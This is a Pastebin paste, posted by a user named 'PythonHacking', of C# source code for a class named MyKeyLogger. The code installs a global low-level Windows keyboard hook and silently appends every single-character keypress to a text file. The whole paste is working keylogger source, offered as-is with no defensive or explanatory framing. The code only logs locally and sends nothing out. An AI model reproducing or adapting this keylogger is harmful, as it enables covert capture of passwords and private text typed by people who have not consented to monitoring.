Advertisement
PythonHacking

AspKey

Dec 17th, 2017
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.80 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Runtime.InteropServices;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10.  
  11. namespace MyKeyLogger // Matheus Bitencourt
  12. {
  13.     class KeyLogger
  14.     {
  15.         private const int WH_KEYBOARD_LL = 13;
  16.         private const int WM_KEYDOWN = 0x0100;
  17.         private static string notepadPath = null;
  18.         private static LowLevelKeyboardProc _proc = HookCallback;
  19.  
  20.         private static IntPtr _hookID = IntPtr.Zero;
  21.  
  22.         private delegate IntPtr LowLevelKeyboardProc(
  23.             int nCode, IntPtr wParam, IntPtr lParam);
  24.  
  25.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  26.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  27.  
  28.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  29.         private static extern IntPtr SetWindowsHookEx(int idHook,
  30.             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  31.  
  32.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  33.         [return: MarshalAs(UnmanagedType.Bool)]
  34.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  35.  
  36.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  37.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  38.             IntPtr wParam, IntPtr lParam);
  39.  
  40.         public static void Start(string _notepadPath)
  41.         {
  42.             notepadPath = _notepadPath;
  43.             _hookID = SetHook(_proc);
  44.             Application.Run();
  45.             UnhookWindowsHookEx(_hookID);
  46.         }
  47.  
  48.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  49.         {
  50.             using (Process curProcess = Process.GetCurrentProcess())
  51.             using (ProcessModule curModule = curProcess.MainModule)
  52.             {
  53.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  54.                     GetModuleHandle(curModule.ModuleName), 0);
  55.             }
  56.         }
  57.  
  58.         private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  59.         {
  60.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  61.             {
  62.                 int vkCode = Marshal.ReadInt32(lParam);
  63.                 var keyName = Enum.GetName(typeof(Keys), vkCode);
  64.                 string currentLog = File.ReadAllText(notepadPath);
  65.                 using (StreamWriter sw = new StreamWriter(notepadPath))
  66.                 {
  67.                     if (keyName.Length == 1)
  68.                         sw.Write(currentLog + keyName);
  69.                     else
  70.                         sw.Write(currentLog);
  71.                 }
  72.             }
  73.  
  74.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  75.         }
  76.     }
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement